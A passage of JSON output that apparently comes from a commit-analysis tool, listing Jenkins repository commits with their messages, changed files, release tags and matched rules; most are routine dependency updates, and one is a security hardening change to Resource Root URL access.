"jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8929", - "relevance": 2 - } - ] - }, - { - "commit_id": "c0f66f52b4161a4caba10a877336618a359b1ea6", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707168689, - "hunks": 5, - "message": "Update dependency css-loader to v6.10.0 (#8931) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8931": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8931", - "relevance": 2 - } - ] - }, - { - "commit_id": "c7cfa30be868257fe250f6a2808a51fb35d81899", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707164436, - "hunks": 1, - "message": "Bump org.jenkins-ci.plugins:junit from 1256.v002534a_5f33e to 1259.v65ffcef24a_88 (#8925)", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8925": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8925", - "relevance": 2 - } - ] - }, - { - "commit_id": "61d4d0ce51b5d87167350edab8ad45eed6f656af", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707149550, - "hunks": 4, - "message": "Update dependency stylelint to v16.2.1 (#8935) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8935": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8935", - "relevance": 2 - } - ] - }, - { - "commit_id": "2eb549efe20905cbca547c33f97c75cd080de88d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707149526, - "hunks": 4, - "message": "Update dependency webpack to v5.90.1 (#8936) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8936": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8936", - "relevance": 2 - } - ] - }, - { - "commit_id": "4183fdb47456481b1ff24b5cfc188b05d1ecfe3f", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707058070, - "hunks": 701, - "message": "Update Yarn to v4.1.0 (#8930) * Update Yarn to v4.1.0 * Update yarn SHA256 Signed-off-by: Alexander Brandes --------- Signed-off-by: Alexander Brandes Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Alexander Brandes ", - "changed_files": [ - "war/package.json", - "war/pom.xml", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8930": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8930", - "relevance": 2 - } - ] - }, - { - "commit_id": "bd0743407b6220f50a988979b8682a2885f1fd85", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707037381, - "hunks": 1, - "message": "Bump release-drafter/release-drafter from 5 to 6 (#8927) Bumps [release-drafter/release-drafter](https://github.com/release-drafter/release-drafter) from 5 to 6. - [Release notes](https://github.com/release-drafter/release-drafter/releases) - [Commits](https://github.com/release-drafter/release-drafter/compare/v5...v6) --- updated-dependencies: - dependency-name: release-drafter/release-drafter dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - ".github/workflows/changelog.yml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8927": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8927", - "relevance": 2 - } - ] - }, - { - "commit_id": "b5f3d7173ccef98e4b41c653dda145c49e75537e", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707037266, - "hunks": 5, - "message": "Update dependency postcss-loader to v8.1.0 (#8932) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8932": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8932", - "relevance": 2 - } - ] - }, - { - "commit_id": "6cff8fe045a4b76d2d00f922123a44083ce0a466", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707037247, - "hunks": 6, - "message": "Update dependency sass-loader to v14.1.0 (#8933) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8933": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8933", - "relevance": 2 - } - ] - }, - { - "commit_id": "3e2f2c7307583c992f383e998cf7f0efaa84494d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707037219, - "hunks": 1, - "message": "Update dependency lit to v3.1.2 (#8934) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "core/src/site/site.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8934": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8934", - "relevance": 2 - } - ] - }, - { - "commit_id": "3ad945f7f3ab32ffb561486a7e6e80b8d55fc22d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706888673, - "hunks": 1, - "message": "[JENKINS-72636] Prevent authenticated access to Resource Root URL (#8922) Co-authored-by: Daniel Beck ", - "changed_files": [ - "core/src/main/java/jenkins/security/ResourceDomainRootAction.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8922": "[JENKINS-73422] Add escape hatch for Authenticated user access to Resource URL #9644" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8922", - "relevance": 2 - } - ] - }, - { - "commit_id": "81679b4598a3550d5e776ca070661efb8f2eb862", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706888421, - "hunks": 2, - "message": "`AbstractPasswordBasedSecurityRealm.authenticateByPassword` (#8921)", - "changed_files": [ - "core/src/main/java/hudson/security/AbstractPasswordBasedSecurityRealm.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8921": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8921", - "relevance": 2 - } - ] - }, - { - "commit_id": "57419f43b9bb89d564cee4913dd4a3216ba1e360", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706774264, - "hunks": 3, - "message": "[JENKINS-72613] Introduced `ItemGroup.getItemName` (#8902)", - "changed_files": [ - "core/src/main/java/hudson/model/AbstractItem.java", - "core/src/main/java/hudson/model/ItemGroup.java", - "core/src/main/java/hudson/model/Items.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8902": "[JENKINS-72613] ItemGroup.getItemName override jenkinsci/cloudbees-folder-plugin#367 [JENKINS-72613] Demonstrating bug & fix in test jenkinsci/workflow-multibranch-plugin#292 [JENKINS-72613] ItemGroup.getItemName override & refactor jenkinsci/cloudbees-folder-plugin#372" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8902", - "relevance": 2 - } - ] - }, - { - "commit_id": "ddf68d38749567b5c27fc308425f6ef49cb20f3d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706774114, - "hunks": 5, - "message": "Fixing `NotSerializableException: org.acegisecurity.context.SecurityContext$1` (#8918)", - "changed_files": [ - "core/src/main/java/org/acegisecurity/context/SecurityContext.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8918": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8918", - "relevance": 2 - } - ] - }, - { - "commit_id": "c00a30da805e95e7fb69104af2ddaedb2a0fc74b", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706687431, - "hunks": 1, - "message": "Add marker class to submit buttons (#8920)", - "changed_files": [ - "core/src/main/resources/lib/form/submit.jelly" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8920": "Use the marker class to find the form submit button jenkinsci/jenkins-test-harness#725" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8920", - "relevance": 2 - } - ] - }, - { - "commit_id": "4d5bb02c8fadae4a8bcf3510613d6716756d7e3e", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706632601, - "hunks": 12, - "message": "Update dependency stylelint-checkstyle-reporter to v1 (#8919) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8919": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8919", - "relevance": 2 - } - ] - }, - { - "commit_id": "907394527c26926ba658d6353dcfaf409e10710b", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706632554, - "hunks": 1, - "message": "Bump com.puppycrawl.tools:checkstyle from 10.12.7 to 10.13.0 (#8915) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8915": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8915", - "relevance": 2 - } - ] - }, - { - "commit_id": "b62609806b4ca0a2e785af30187f928fcbb9b27d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706549661, - "hunks": 35, - "message": "Update babel monorepo to v7.23.9 (#8910) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8910": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8910", - "relevance": 2 - } - ] - }, - { - "commit_id": "090ada7bfdb570cb54c6d56d397716e11162368a", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706549637, - "hunks": 1, - "message": "Bump org.jenkins-ci.plugins:credentials from 1317.v0ce519a_92b_3e to 1319.v7eb_51b_3a_c97b_ (#8904) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8904": 